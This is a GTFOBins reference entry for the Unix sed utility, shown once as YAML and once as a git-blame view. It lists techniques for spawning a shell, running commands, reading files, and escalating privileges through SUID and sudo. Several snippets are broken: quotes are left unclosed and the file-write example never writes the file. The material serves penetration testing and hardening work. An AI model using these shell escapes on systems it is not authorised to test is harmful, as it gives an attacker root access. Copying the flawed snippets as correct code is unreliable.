GTFOBins.github.io/_gtfobins/sed.md

---
functions:
  shell:
    - description: GNU version only. Also, this requires `bash`.
      code: sed -n '1e exec sh 1>&0' /etc/hosts
  command:
    - description: GNU version only.
      code: sed -n "1e id" /etc/hosts
  file-write:
    - code: |
        LFILE=file_to_write
        sed -n '1e exec sh 1>&0 /etc/hosts
  file-read:
    - code: |
        LFILE=file_to_read
        sed '' "$LFILE"
  suid:
    - code: |
        LFILE=file_to_read
        ./sed -e '' "$LFILE"
  sudo:
    - description: GNU version only. Also, this requires `bash`.
      code: sudo sed -n '1e exec sh 1>&0 /etc/hosts
---
Add expand, unexpand 2018-06-12 14:06:16 +00:00			`---`
			`functions:`
Adopt new function names 2018-10-05 18:55:38 +01:00			`shell:`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			- description: GNU version only. Also, this requires `bash`.
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-07 01:00:01 +02:00			`code: sed -n '1e exec sh 1>&0' /etc/hosts`
Adopt new function names 2018-10-05 18:55:38 +01:00			`command:`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			`- description: GNU version only.`
			`code: sed -n "1e id" /etc/hosts`
Add execute-interactive & file-write to sed 2018-06-13 12:01:25 +02:00			`file-write:`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			`- code: \|`
			`LFILE=file_to_write`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-07 01:00:01 +02:00			`sed -n '1e exec sh 1>&0 /etc/hosts`
Reorder functions in binaries 2018-07-04 19:26:52 +01:00			`file-read:`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			`- code: \|`
			`LFILE=file_to_read`
			`sed '' "$LFILE"`
Adopt new function names 2018-10-05 18:55:38 +01:00			`suid:`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			`- code: \|`
			`LFILE=file_to_read`
			`./sed -e '' "$LFILE"`
Adopt new function names 2018-10-05 18:55:38 +01:00			`sudo:`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			- description: GNU version only. Also, this requires `bash`.
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-07 01:00:01 +02:00			`code: sudo sed -n '1e exec sh 1>&0 /etc/hosts`
Add expand, unexpand 2018-06-12 14:06:16 +00:00			`---`